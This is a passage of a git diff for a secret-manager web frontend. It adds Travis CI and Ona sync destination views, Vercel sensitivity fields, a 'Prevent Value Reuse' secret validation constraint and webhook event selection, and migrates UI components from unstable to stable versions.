+    </GenericFieldLabel>
+  );
+};
diff --git a/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncDestinationSection/SecretSyncDestinatonSection.tsx b/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncDestinationSection/SecretSyncDestinatonSection.tsx
index fa4a2a729be..3b6ef3cae9c 100644
--- a/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncDestinationSection/SecretSyncDestinatonSection.tsx
+++ b/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncDestinationSection/SecretSyncDestinatonSection.tsx
@@ -39,11 +39,13 @@ import { NetlifySyncDestinationSection } from "./NetlifySyncDestinationSection";
 import { NorthflankSyncDestinationSection } from "./NorthflankSyncDestinationSection";
 import { OCIVaultSyncDestinationSection } from "./OCIVaultSyncDestinationSection";
 import { OctopusDeploySyncDestinationSection } from "./OctopusDeploySyncDestinationSection";
+import { OnaSyncDestinationSection } from "./OnaSyncDestinationSection";
 import { RailwaySyncDestinationSection } from "./RailwaySyncDestinationSection";
 import { RenderSyncDestinationSection } from "./RenderSyncDestinationSection";
 import { SupabaseSyncDestinationSection } from "./SupabaseSyncDestinationSection";
 import { TeamCitySyncDestinationSection } from "./TeamCitySyncDestinationSection";
 import { TerraformCloudSyncDestinationSection } from "./TerraformCloudSyncDestinationSection";
+import { TravisCISyncDestinationSection } from "./TravisCISyncDestinationSection";
 import { VercelSyncDestinationSection } from "./VercelSyncDestinationSection";
 import { WindmillSyncDestinationSection } from "./WindmillSyncDestinationSection";
 import { ZabbixSyncDestinationSection } from "./ZabbixSyncDestinationSection";
@@ -175,6 +177,12 @@ export const SecretSyncDestinationSection = ({ secretSync, onEditDestination }:
     case SecretSync.ExternalInfisical:
       DestinationComponents = <ExternalInfisicalSyncDestinationSection secretSync={secretSync} />;
       break;
+    case SecretSync.Ona:
+      DestinationComponents = <OnaSyncDestinationSection secretSync={secretSync} />;
+      break;
+    case SecretSync.TravisCI:
+      DestinationComponents = <TravisCISyncDestinationSection secretSync={secretSync} />;
+      break;
     default:
       throw new Error(`Unhandled Destination Section components: ${destination}`);
   }
diff --git a/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncDestinationSection/TravisCISyncDestinationSection.tsx b/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncDestinationSection/TravisCISyncDestinationSection.tsx
new file mode 100644
index 00000000000..b3ab5e320af
--- /dev/null
+++ b/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncDestinationSection/TravisCISyncDestinationSection.tsx
@@ -0,0 +1,19 @@
+import { GenericFieldLabel } from "@app/components/secret-syncs";
+import { TTravisCISync } from "@app/hooks/api/secretSyncs/types/travis-ci-sync";
+
+type Props = {
+  secretSync: TTravisCISync;
+};
+
+export const TravisCISyncDestinationSection = ({ secretSync }: Props) => {
+  const { destinationConfig } = secretSync;
+
+  return (
+    <>
+      <GenericFieldLabel label="Repository">{destinationConfig.repositorySlug}</GenericFieldLabel>
+      {destinationConfig.branch && (
+        <GenericFieldLabel label="Branch">{destinationConfig.branch}</GenericFieldLabel>
+      )}
+    </>
+  );
+};
diff --git a/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncDestinationSection/VercelSyncDestinationSection.tsx b/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncDestinationSection/VercelSyncDestinationSection.tsx
index d6b9d7d3fc9..765d02f29f7 100644
--- a/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncDestinationSection/VercelSyncDestinationSection.tsx
+++ b/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncDestinationSection/VercelSyncDestinationSection.tsx
@@ -43,11 +43,21 @@ export const VercelSyncDestinationSection = ({ secretSync }: Props) => {
         <GenericFieldLabel label="Scope">Team</GenericFieldLabel>
         <GenericFieldLabel label="Vercel Team">{selectedTeam?.name}</GenericFieldLabel>
         <GenericFieldLabel label="Target Environments">
-          {destinationConfig.targetEnvironments?.join(", ")}
+          {destinationConfig.targetEnvironments?.length
+            ? destinationConfig.targetEnvironments
+                .map((env) => env.charAt(0).toUpperCase() + env.slice(1))
+                .join(", ")
+            : "None"}
+        </GenericFieldLabel>
+        <GenericFieldLabel label="All Custom Environments">
+          {destinationConfig.applyToAllCustomEnvironments ? "Yes" : "No"}
         </GenericFieldLabel>
         <GenericFieldLabel label="Target Projects">
           {selectedProjects?.map((project) => project?.name).join(", ")}
         </GenericFieldLabel>
+        <GenericFieldLabel label="Sensitive">
+          {destinationConfig.sensitive ? "Yes" : "No"}
+        </GenericFieldLabel>
       </>
     );
   }
@@ -62,6 +72,9 @@ export const VercelSyncDestinationSection = ({ secretSync }: Props) => {
         </GenericFieldLabel>
         <GenericFieldLabel label="Environment">{destinationConfig.env}</GenericFieldLabel>
         <GenericFieldLabel label="Preview Branch">{destinationConfig.branch}</GenericFieldLabel>
+        <GenericFieldLabel label="Sensitive">
+          {destinationConfig.sensitive ? "Yes" : "No"}
+        </GenericFieldLabel>
       </>
     );
   } else {
@@ -72,6 +85,9 @@ export const VercelSyncDestinationSection = ({ secretSync }: Props) => {
           {destinationConfig.appName || destinationConfig.app}
         </GenericFieldLabel>
         <GenericFieldLabel label="Environment">{destinationConfig.env}</GenericFieldLabel>
+        <GenericFieldLabel label="Sensitive">
+          {destinationConfig.sensitive ? "Yes" : "No"}
+        </GenericFieldLabel>
       </>
     );
   }
diff --git a/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncOptionsSection/SecretSyncOptionsSection.tsx b/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncOptionsSection/SecretSyncOptionsSection.tsx
index 77e06a0be81..9bc2d84926c 100644
--- a/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncOptionsSection/SecretSyncOptionsSection.tsx
+++ b/frontend/src/pages/secret-manager/SecretSyncDetailsByIDPage/components/SecretSyncOptionsSection/SecretSyncOptionsSection.tsx
@@ -80,6 +80,8 @@ export const SecretSyncOptionsSection = ({ secretSync, onEditOptions }: Props) =
     case SecretSync.CircleCI:
     case SecretSync.AzureEntraIdScim:
     case SecretSync.ExternalInfisical:
+    case SecretSync.Ona:
+    case SecretSync.TravisCI:
       AdditionalSyncOptionsComponent = null;
       break;
     default:
diff --git a/frontend/src/pages/secret-manager/SettingsPage/components/SecretValidationRulesTab/ConstraintCard.tsx b/frontend/src/pages/secret-manager/SettingsPage/components/SecretValidationRulesTab/ConstraintCard.tsx
index 8732e1547f4..79f083f9015 100644
--- a/frontend/src/pages/secret-manager/SettingsPage/components/SecretValidationRulesTab/ConstraintCard.tsx
+++ b/frontend/src/pages/secret-manager/SettingsPage/components/SecretValidationRulesTab/ConstraintCard.tsx
@@ -1,15 +1,18 @@
 /* eslint-disable jsx-a11y/label-has-associated-control */
 import { Controller, useFormContext } from "react-hook-form";
-import { TrashIcon } from "lucide-react";
+import { InfoIcon, TrashIcon } from "lucide-react";
 
 import {
+  IconButton,
+  Input,
   Select,
   SelectContent,
   SelectItem,
   SelectTrigger,
   SelectValue,
-  UnstableIconButton,
-  UnstableInput
+  Tooltip,
+  TooltipContent,
+  TooltipTrigger
 } from "@app/components/v3";
 
 import {
@@ -18,6 +21,7 @@ import {
   CONSTRAINT_VALUE_LABELS,
   ConstraintTarget,
   ConstraintType,
+  MAX_PREVENT_VALUE_REUSE_VERSIONS,
   TRuleForm
 } from "./SecretValidationRulesTab.utils";
 
@@ -42,6 +46,11 @@ export const ConstraintCard = ({ index, onRemove }: Props) => {
 
   const Icon = constraintOption?.icon;
   const placeholder = constraintOption?.placeholder;
+  const isPreventValueReuse = constraintType === ConstraintType.PreventValueReuse;
+  const isNumericInput =
+    constraintType === ConstraintType.MinLength ||
+    constraintType === ConstraintType.MaxLength ||
+    constraintType === ConstraintType.PreventValueReuse;
 
   return (
     <div className="rounded-md border border-border bg-card p-4">
@@ -52,62 +61,81 @@ export const ConstraintCard = ({ index, onRemove }: Props) => {
             {CONSTRAINT_TYPE_LABELS[constraintType]}
           </span>
         </div>
-        <UnstableIconButton
-          aria-label="Remove constraint"
-          variant="danger"
-          size="xs"
-          onClick={onRemove}
-        >
+        <IconButton aria-label="Remove constraint" variant="danger" size="xs" onClick={onRemove}>
           <TrashIcon className="size-3.5" />
-        </UnstableIconButton>
+        </IconButton>
       </div>
 
+      {constraintOption?.cardDescription && (
+        <p className="mt-1.5 text-xs text-muted">{constraintOption.cardDescription}</p>
+      )}
+
       <div className="mt-3 grid grid-cols-2 gap-3">
-        <div className="flex flex-col gap-1">
-          <label className="text-xs font-medium text-muted">Applies to</label>
-          <Controller
-            control={control}
-            name={`enforcement.inputs.constraints.${index}.appliesTo`}
-            render={({ field: { value, onChange } }) => (
-              <Select value={value} onValueChange={onChange}>
-                <SelectTrigger>
-                  <SelectValue />
-                </SelectTrigger>
-                <SelectContent position="popper">
-                  <SelectItem
-                    value={ConstraintTarget.SecretKey}
-                    disabled={otherTargets.has(ConstraintTarget.SecretKey)}
-                  >
-                    Secret Key
-                  </SelectItem>
-                  <SelectItem
-                    value={ConstraintTarget.SecretValue}
-                    disabled={otherTargets.has(ConstraintTarget.SecretValue)}
-                  >
-                    Secret Value
-                  </SelectItem>
-                </SelectContent>
-              </Select>
-            )}
-          />
-        </div>
+        {isPreventValueReuse ? (
+          <div className="flex flex-col gap-1">
+            <label className="text-xs font-medium text-muted">Applies to</label>
+            <Input value="Secret Value" readOnly className="cursor-default opacity-60" />
+          </div>
+        ) : (
+          <div className="flex flex-col gap-1">
+            <label className="text-xs font-medium text-muted">Applies to</label>
+            <Controller
+              control={control}
+              name={`enforcement.inputs.constraints.${index}.appliesTo`}
+              render={({ field: { value, onChange } }) => (
+                <Select value={value} onValueChange={onChange}>
+                  <SelectTrigger>
+                    <SelectValue />
+                  </SelectTrigger>
+                  <SelectContent position="popper">
+                    <SelectItem
+                      value={ConstraintTarget.SecretKey}
+                      disabled={otherTargets.has(ConstraintTarget.SecretKey)}
+                    >
+                      Secret Key
+                    </SelectItem>
+                    <SelectItem
+                      value={ConstraintTarget.SecretValue}
+                      disabled={otherTargets.has(ConstraintTarget.SecretValue)}
+                    >
+                      Secret Value
+                    </SelectItem>
+                  </SelectContent>
+                </Select>
+              )}
+            />
+          </div>
+        )}
         <div className="flex flex-col gap-1">
           <label className="text-xs font-medium text-muted">
-            {CONSTRAINT_VALUE_LABELS[constraintType]}
+            <div className="flex items-center gap-1">
+              {CONSTRAINT_VALUE_LABELS[constraintType]}
+              {constraintType === ConstraintType.PreventValueReuse && (
+                <Tooltip>
+                  <TooltipTrigger asChild>
+                    <InfoIcon className="ml-1 size-3.5 text-muted" />
+                  </TooltipTrigger>
+                  <TooltipContent side="left" align="start" className="max-w-xs">
+                    <p className="text-sm">
+                      When a secret is updated, its new value is validated against the specified
+                      number of prior versions.
+                    </p>
+                    <p className="mt-2 text-xs text-muted">Maximum: 25 versions</p>
+                  </TooltipContent>
+                </Tooltip>
+              )}
+            </div>
           </label>
           <Controller
             control={control}
             name={`enforcement.inputs.constraints.${index}.value`}
             render={({ field, fieldState: { error } }) => (
               <div>
-                <UnstableInput
+                <Input
                   {...field}
-                  type={
-                    constraintType === ConstraintType.MinLength ||
-                    constraintType === ConstraintType.MaxLength
-                      ? "number"
-                      : "text"
-                  }
+                  type={isNumericInput ? "number" : "text"}
+                  min={isPreventValueReuse ? 1 : undefined}
+                  max={isPreventValueReuse ? MAX_PREVENT_VALUE_REUSE_VERSIONS : undefined}
                   placeholder={placeholder?.toString() || undefined}
                   isError={Boolean(error)}
                 />
diff --git a/frontend/src/pages/secret-manager/SettingsPage/components/SecretValidationRulesTab/SecretValidationRulesTab.tsx b/frontend/src/pages/secret-manager/SettingsPage/components/SecretValidationRulesTab/SecretValidationRulesTab.tsx
index eb1e9ce39aa..691ce71b7c1 100644
--- a/frontend/src/pages/secret-manager/SettingsPage/components/SecretValidationRulesTab/SecretValidationRulesTab.tsx
+++ b/frontend/src/pages/secret-manager/SettingsPage/components/SecretValidationRulesTab/SecretValidationRulesTab.tsx
@@ -17,6 +17,17 @@ import {
   AlertDialogTitle,
   Badge,
   Button,
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  Empty,
+  EmptyContent,
+  EmptyDescription,
+  EmptyHeader,
+  EmptyTitle,
+  IconButton,
+  Input,
   Select,
   SelectContent,
   SelectItem,
@@ -29,26 +40,15 @@ import {
   SheetHeader,
   SheetTitle,
   Switch,
+  Table,
+  TableBody,
+  TableCell,
+  TableHead,
+  TableHeader,
+  TableRow,
   Tooltip,
   TooltipContent,
-  TooltipTrigger,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableEmpty,
-  UnstableEmptyContent,
-  UnstableEmptyDescription,
-  UnstableEmptyHeader,
-  UnstableEmptyTitle,
-  UnstableIconButton,
-  UnstableInput,
-  UnstableTable,
-  UnstableTableBody,
-  UnstableTableCell,
-  UnstableTableHead,
-  UnstableTableHeader,
-  UnstableTableRow
+  TooltipTrigger
 } from "@app/components/v3";
 import { useProject } from "@app/context";
 import {
@@ -67,6 +67,7 @@ import { ConstraintCard } from "./ConstraintCard";
 import {
   CONSTRAINT_OPTIONS,
   ConstraintTarget,
+  ConstraintType,
   RULE_TYPE_LABELS,
   ruleFormSchema,
   RuleType,
@@ -119,11 +120,13 @@ const RuleFormContent = ({
 
   const watchedConstraints = form.watch("enforcement.inputs.constraints");
   const usedConstraintPairs = new Set(watchedConstraints?.map((c) => `${c.type}:${c.appliesTo}`));
-  const availableConstraintOptions = CONSTRAINT_OPTIONS.filter(
-    (opt) =>
-      !usedConstraintPairs.has(`${opt.type}:${ConstraintTarget.SecretKey}`) ||
-      !usedConstraintPairs.has(`${opt.type}:${ConstraintTarget.SecretValue}`)
-  );
+  const availableConstraintOptions = CONSTRAINT_OPTIONS.filter((opt) => {
+    const targets = opt.allowedTargets || [
+      ConstraintTarget.SecretKey,
+      ConstraintTarget.SecretValue
+    ];
+    return targets.some((target) => !usedConstraintPairs.has(`${opt.type}:${target}`));
+  });
 
   return (
     <FormProvider {...form}>
@@ -148,7 +151,7 @@ const RuleFormContent = ({
                 control={control}
                 name="name"
                 render={({ field }) => (
-                  <UnstableInput
+                  <Input
                     {...field}
                     placeholder="e.g. Production key naming"
                     isError={Boolean(errors.name)}
@@ -162,7 +165,7 @@ const RuleFormContent = ({
                 control={control}
                 name="description"
                 render={({ field }) => (
-                  <UnstableInput
+                  <Input
                     {...field}
                     value={field.value ?? ""}
                     placeholder="Brief description of this rule"
@@ -241,7 +244,7 @@ const RuleFormContent = ({
                   name="folderPath"
                   render={({ field, fieldState: { error } }) => (
                     <div>
-                      <UnstableInput {...field} placeholder="/**" isError={Boolean(error)} />
+                      <Input {...field} placeholder="/**" isError={Boolean(error)} />
                       {error?.message && (
                         <p className="mt-1 text-xs text-danger">{error.message}</p>
                       )}
@@ -257,30 +260,34 @@ const RuleFormContent = ({
             <div className="mb-3 flex items-center justify-between">
               <h4 className="text-sm font-medium text-foreground">Validation Constraints</h4>
               {availableConstraintOptions.length > 0 && (
-                <UnstableDropdownMenu>
-                  <UnstableDropdownMenuTrigger asChild>
+                <DropdownMenu>
+                  <DropdownMenuTrigger asChild>
                     <Button type="button" variant="outline" size="xs">
                       <PlusIcon className="size-4" />
                       Add Constraint
                     </Button>
-                  </UnstableDropdownMenuTrigger>
-                  <UnstableDropdownMenuContent align="end">
+                  </DropdownMenuTrigger>
+                  <DropdownMenuContent align="end">
                     {availableConstraintOptions.map((opt) => {
-                      const valueUsed = usedConstraintPairs.has(
-                        `${opt.type}:${ConstraintTarget.SecretValue}`
-                      );
-                      const defaultTarget = valueUsed
-                        ? ConstraintTarget.SecretKey
-                        : ConstraintTarget.SecretValue;
+                      const targets = opt.allowedTargets || [
+                        ConstraintTarget.SecretValue,
+                        ConstraintTarget.SecretKey
+                      ];
+                      const defaultTarget =
+                        targets.find((t) => !usedConstraintPairs.has(`${opt.type}:${t}`)) ??
+                        targets[0];
 
                       return (
-                        <UnstableDropdownMenuItem
+                        <DropdownMenuItem
                           key={opt.type}
                           onClick={() =>
                             append({
                               type: opt.type,
                               appliesTo: defaultTarget,
-                              value: ""
+                              value:
+                                opt.type === ConstraintType.PreventValueReuse
+                                  ? String(opt.placeholder || 10)
+                                  : ""
                             })
                           }
                         >
@@ -289,11 +296,11 @@ const RuleFormContent = ({
                             <div className="text-sm">{opt.label}</div>
                             <div className="text-xs text-muted">{opt.description}</div>
                           </div>
-                        </UnstableDropdownMenuItem>
+                        </DropdownMenuItem>
                       );
                     })}
-                  </UnstableDropdownMenuContent>
-                </UnstableDropdownMenu>
+                  </DropdownMenuContent>
+                </DropdownMenu>
               )}
             </div>
 
@@ -474,14 +481,14 @@ export const SecretValidationRulesTab = () => {
               </div>
             )}
             {!isLoading && rules.length === 0 ? (
-              <UnstableEmpty className="border">
-                <UnstableEmptyHeader>
-                  <UnstableEmptyTitle>No validation rules configured</UnstableEmptyTitle>
-                  <UnstableEmptyDescription>
+              <Empty className="border">
+                <EmptyHeader>
+                  <EmptyTitle>No validation rules configured</EmptyTitle>
+                  <EmptyDescription>
                     Create a rule to enforce validation constraints on secret keys and values
-                  </UnstableEmptyDescription>
-                </UnstableEmptyHeader>
-                <UnstableEmptyContent>
+                  </EmptyDescription>
+                </EmptyHeader>
+                <EmptyContent>
                   <ProjectPermissionCan
                     I={ProjectPermissionActions.Edit}
                     a={ProjectPermissionSub.Settings}
@@ -507,24 +514,24 @@ export const SecretValidationRulesTab = () => {
                       </Tooltip>
                     )}
                   </ProjectPermissionCan>
-                </UnstableEmptyContent>
-              </UnstableEmpty>
+                </EmptyContent>
+              </Empty>
             ) : (
               !isLoading && (
-                <UnstableTable>
-                  <UnstableTableHeader>
-                    <UnstableTableRow>
-                      <UnstableTableHead>Name</UnstableTableHead>
-                      <UnstableTableHead>Type</UnstableTableHead>
-                      <UnstableTableHead>Scope</UnstableTableHead>
-                      <UnstableTableHead>Status</UnstableTableHead>
-                      <UnstableTableHead className="w-12" />
-                    </UnstableTableRow>
-                  </UnstableTableHeader>
-                  <UnstableTableBody>
+                <Table>
+                  <TableHeader>
+                    <TableRow>
+                      <TableHead>Name</TableHead>
+                      <TableHead>Type</TableHead>
+                      <TableHead>Scope</TableHead>
+                      <TableHead>Status</TableHead>
+                      <TableHead className="w-12" />
+                    </TableRow>
+                  </TableHeader>
+                  <TableBody>
                     {rules.map((rule) => (
-                      <UnstableTableRow key={rule.id}>
-                        <UnstableTableCell className="py-3">
+                      <TableRow key={rule.id}>
+                        <TableCell className="py-3">
                           <div className="flex items-center">
                             <span className="text-sm font-medium text-foreground">{rule.name}</span>
                             {rule.description && (
@@ -536,37 +543,37 @@ export const SecretValidationRulesTab = () => {
                               </Tooltip>
                             )}
                           </div>
-                        </UnstableTableCell>
-                        <UnstableTableCell className="py-3">
+                        </TableCell>
+                        <TableCell className="py-3">
                           <Badge variant="neutral">
                             {RULE_TYPE_LABELS[rule.type as string as RuleType] ?? rule.type}
                           </Badge>
-                        </UnstableTableCell>
-                        <UnstableTableCell className="py-3">
+                        </TableCell>
+                        <TableCell className="py-3">
                           <div className="flex items-center gap-1.5">
                             <Badge variant="neutral">{resolveEnvName(rule.envId)}</Badge>
                             <Badge variant="neutral">{rule.secretPath}</Badge>
                           </div>
-                        </UnstableTableCell>
-                        <UnstableTableCell className="py-3">
+                        </TableCell>
+                        <TableCell className="py-3">
                           <Badge variant={rule.isActive ? "success" : "neutral"}>
                             {rule.isActive ? "Active" : "Inactive"}
                           </Badge>
-                        </UnstableTableCell>
-                        <UnstableTableCell className="py-3">
-                          <UnstableDropdownMenu>
-                            <UnstableDropdownMenuTrigger asChild>
-                              <UnstableIconButton aria-label="Actions" variant="ghost" size="xs">
+                        </TableCell>
+                        <TableCell className="py-3">
+                          <DropdownMenu>
+                            <DropdownMenuTrigger asChild>
+                              <IconButton aria-label="Actions" variant="ghost" size="xs">
                                 <EllipsisVerticalIcon className="size-4" />
-                              </UnstableIconButton>
-                            </UnstableDropdownMenuTrigger>
-                            <UnstableDropdownMenuContent align="end">
+                              </IconButton>
+                            </DropdownMenuTrigger>
+                            <DropdownMenuContent align="end">
                               <ProjectPermissionCan
                                 I={ProjectPermissionActions.Edit}
                                 a={ProjectPermissionSub.Settings}
                               >
                                 {(isAllowed) => (
-                                  <UnstableDropdownMenuItem
+                                  <DropdownMenuItem
                                     isDisabled={!isAllowed}
                                     onClick={() =>
                                       setSheetState({ open: true, mode: "edit", ruleId: rule.id })
@@ -574,7 +581,7 @@ export const SecretValidationRulesTab = () => {
                                   >
                                     <PencilIcon className="mr-2 size-4" />
                                     Edit
-                                  </UnstableDropdownMenuItem>
+                                  </DropdownMenuItem>
                                 )}
                               </ProjectPermissionCan>
                               <ProjectPermissionCan
@@ -582,23 +589,23 @@ export const SecretValidationRulesTab = () => {
                                 a={ProjectPermissionSub.Settings}
                               >
                                 {(isAllowed) => (
-                                  <UnstableDropdownMenuItem
+                                  <DropdownMenuItem
                                     variant="danger"
                                     isDisabled={!isAllowed}
                                     onClick={() => setDeleteRuleId(rule.id)}
                                   >
                                     <TrashIcon className="mr-2 size-4" />
                                     Delete
-                                  </UnstableDropdownMenuItem>
+                                  </DropdownMenuItem>
                                 )}
                               </ProjectPermissionCan>
-                            </UnstableDropdownMenuContent>
-                          </UnstableDropdownMenu>
-                        </UnstableTableCell>
-                      </UnstableTableRow>
+                            </DropdownMenuContent>
+                          </DropdownMenu>
+                        </TableCell>
+                      </TableRow>
                     ))}
-                  </UnstableTableBody>
-                </UnstableTable>
+                  </TableBody>
+                </Table>
               )
             )}
           </div>
@@ -629,7 +636,7 @@ export const SecretValidationRulesTab = () => {
               </span>{" "}
               to confirm the deletion
             </p>
-            <UnstableInput
+            <Input
               value={deleteConfirmation}
               onChange={(e) => setDeleteConfirmation(e.target.value)}
               placeholder={rules.find((r) => r.id === deleteRuleId)?.name}
diff --git a/frontend/src/pages/secret-manager/SettingsPage/components/SecretValidationRulesTab/SecretValidationRulesTab.utils.ts b/frontend/src/pages/secret-manager/SettingsPage/components/SecretValidationRulesTab/SecretValidationRulesTab.utils.ts
index f0a8214fd2c..6e143e091b2 100644
--- a/frontend/src/pages/secret-manager/SettingsPage/components/SecretValidationRulesTab/SecretValidationRulesTab.utils.ts
+++ b/frontend/src/pages/secret-manager/SettingsPage/components/SecretValidationRulesTab/SecretValidationRulesTab.utils.ts
@@ -1,4 +1,11 @@
-import { HashIcon, LucideIcon, RulerIcon, TextCursorInputIcon, TextIcon } from "lucide-react";
+import {
+  HashIcon,
+  HistoryIcon,
+  LucideIcon,
+  RulerIcon,
+  TextCursorInputIcon,
+  TextIcon
+} from "lucide-react";
 import { z } from "zod";
 
 export enum ConstraintType {
@@ -6,7 +13,8 @@ export enum ConstraintType {
   MaxLength = "max-length",
   RegexPattern = "regex-pattern",
   RequiredPrefix = "required-prefix",
-  RequiredSuffix = "required-suffix"
+  RequiredSuffix = "required-suffix",
+  PreventValueReuse = "prevent-value-reuse"
 }
 
 export enum ConstraintTarget {
@@ -18,8 +26,10 @@ export const CONSTRAINT_OPTIONS: {
   type: ConstraintType;
   label: string;
   description: string;
+  cardDescription?: string;
   placeholder: string | number;
   icon: LucideIcon;
+  allowedTargets?: ConstraintTarget[];
 }[] = [
   {
     type: ConstraintType.MinLength,
@@ -55,6 +65,16 @@ export const CONSTRAINT_OPTIONS: {
     description: "Must end with specific text",
     placeholder: "-SUFFIX",
     icon: TextIcon
+  },
+  {
+    type: ConstraintType.PreventValueReuse,
+    label: "Prevent Value Reuse",
+    description: "Prevent reusing previous secret values",
+    cardDescription:
+      "When a secret is updated, its new value is validated against the specified number of prior versions.",
+    placeholder: 10,
+    icon: HistoryIcon,
+    allowedTargets: [ConstraintTarget.SecretValue]
   }
 ];
 
@@ -63,7 +83,8 @@ export const CONSTRAINT_VALUE_LABELS: Record<ConstraintType, string> = {
   [ConstraintType.MaxLength]: "Characters",
   [ConstraintType.RegexPattern]: "Pattern",
   [ConstraintType.RequiredPrefix]: "Text",
-  [ConstraintType.RequiredSuffix]: "Text"
+  [ConstraintType.RequiredSuffix]: "Text",
+  [ConstraintType.PreventValueReuse]: "Previous versions"
 };
 
 export const CONSTRAINT_TYPE_LABELS: Record<ConstraintType, string> = {
@@ -71,7 +92,8 @@ export const CONSTRAINT_TYPE_LABELS: Record<ConstraintType, string> = {
   [ConstraintType.MaxLength]: "Max Length",
   [ConstraintType.RegexPattern]: "Regex Pattern",
   [ConstraintType.RequiredPrefix]: "Required Prefix",
-  [ConstraintType.RequiredSuffix]: "Required Suffix"
+  [ConstraintType.RequiredSuffix]: "Required Suffix",
+  [ConstraintType.PreventValueReuse]: "Prevent Value Reuse"
 };
 
 export enum RuleType {
@@ -82,11 +104,29 @@ export const RULE_TYPE_LABELS: Record<RuleType, string> = {
   [RuleType.StaticSecrets]: "Static Secrets"
 };
 
-export const constraintSchema = z.object({
-  type: z.nativeEnum(ConstraintType),
-  appliesTo: z.nativeEnum(ConstraintTarget),
-  value: z.string().min(1, "Value is required")
-});
+export const MAX_PREVENT_VALUE_REUSE_VERSIONS = 25;
+
+export const constraintSchema = z
+  .object({
+    type: z.nativeEnum(ConstraintType),
+    appliesTo: z.nativeEnum(ConstraintTarget),
+    value: z.string()
+  })
+  .refine((c) => c.type === ConstraintType.PreventValueReuse || c.value.length > 0, {
+    message: "Value is required",
+    path: ["value"]
+  })
+  .refine(
+    (c) => {
+      if (c.type !== ConstraintType.PreventValueReuse) return true;
+      const num = Number(c.value);
+      return Number.isInteger(num) && num >= 1 && num <= MAX_PREVENT_VALUE_REUSE_VERSIONS;
+    },
+    {
+      message: `Must be a number between 1 and ${MAX_PREVENT_VALUE_REUSE_VERSIONS}`,
+      path: ["value"]
+    }
+  );
 
 const staticSecretsInputsSchema = z.object({
   constraints: z
diff --git a/frontend/src/pages/secret-manager/SettingsPage/components/WebhooksTab/AddWebhookForm.tsx b/frontend/src/pages/secret-manager/SettingsPage/components/WebhooksTab/AddWebhookForm.tsx
index a1ef3922642..c9050cc5092 100644
--- a/frontend/src/pages/secret-manager/SettingsPage/components/WebhooksTab/AddWebhookForm.tsx
+++ b/frontend/src/pages/secret-manager/SettingsPage/components/WebhooksTab/AddWebhookForm.tsx
@@ -1,20 +1,59 @@
-import { useEffect } from "react";
+import { useEffect, useRef } from "react";
 import { Controller, useForm } from "react-hook-form";
+import { components, OptionProps } from "react-select";
 import { zodResolver } from "@hookform/resolvers/zod";
+import { CheckIcon } from "lucide-react";
 import z from "zod";
 
 import {
+  Accordion,
+  AccordionContent,
+  AccordionItem,
+  AccordionTrigger,
   Button,
+  FilterableSelect,
   FormControl,
   Input,
   Modal,
-  ModalClose,
   ModalContent,
   Select,
   SelectItem
 } from "@app/components/v2";
 import { SecretPathInput } from "@app/components/v2/SecretPathInput";
-import { WebhookType } from "@app/hooks/api/webhooks/types";
+import {
+  WEBHOOK_EVENT_METADATA,
+  WEBHOOK_EVENTS,
+  WebhookEvent,
+  WebhookType
+} from "@app/hooks/api/webhooks/types";
+
+type TWebhookEventOption = {
+  value: WebhookEvent;
+  label: string;
+  description: string;
+};
+
+const EVENT_OPTIONS: TWebhookEventOption[] = WEBHOOK_EVENTS.map((event) => ({
+  value: event,
+  label: WEBHOOK_EVENT_METADATA[event].label,
+  description: WEBHOOK_EVENT_METADATA[event].description
+}));
+
+const OptionWithDescription = (props: OptionProps<TWebhookEventOption>) => {
+  const { data, children, isSelected } = props;
+
+  return (
+    <components.Option {...props}>
+      <div className="flex flex-row items-center justify-between">
+        <div className="min-w-0 flex-1">
+          <p className="truncate font-medium">{children}</p>
+          <p className="truncate text-xs leading-4 text-mineshaft-400">{data.description}</p>
+        </div>
+        {isSelected && <CheckIcon className="ml-2 size-4 shrink-0" />}
+      </div>
+    </components.Option>
+  );
+};
 
 const formSchema = z
   .object({
@@ -22,7 +61,11 @@ const formSchema = z
     webhookUrl: z.string().url().trim().describe("Webhook URL"),
     webhookSecretKey: z.string().trim().optional().describe("Secret Key"),
     secretPath: z.string().trim().describe("Secret Path"),
-    type: z.nativeEnum(WebhookType).describe("Type").default(WebhookType.GENERAL)
+    type: z.nativeEnum(WebhookType).describe("Type").default(WebhookType.GENERAL),
+    enabledEvents: z.record(z.nativeEnum(WebhookEvent), z.boolean()).default({
+      [WebhookEvent.SecretModified]: true,
+      [WebhookEvent.SecretRotationFailed]: true
+    })
   })
   .superRefine((data, ctx) => {
     if (data.type === WebhookType.SLACK && !data.webhookUrl.includes("hooks.slack.com")) {
@@ -59,12 +102,17 @@ export const AddWebhookForm = ({
   } = useForm<TFormSchema>({
     resolver: zodResolver(formSchema),
     defaultValues: {
-      type: WebhookType.GENERAL
+      type: WebhookType.GENERAL,
+      enabledEvents: {
+        [WebhookEvent.SecretModified]: true,
+        [WebhookEvent.SecretRotationFailed]: true
+      }
     }
   });
 
   const selectedWebhookType = watch("type");
   const selectedEnvironment = watch("environment");
+  const modalContainer = useRef<HTMLDivElement>(null);
 
   const generalFormFields = (
     <>
@@ -125,13 +173,21 @@ export const AddWebhookForm = ({
 
   useEffect(() => {
     if (!isOpen) {
-      reset();
+      reset({
+        type: WebhookType.GENERAL,
+        enabledEvents: {
+          [WebhookEvent.SecretModified]: true,
+          [WebhookEvent.SecretRotationFailed]: true
+        },
+        environment: environments?.[0]?.slug,
+        secretPath: ""
+      });
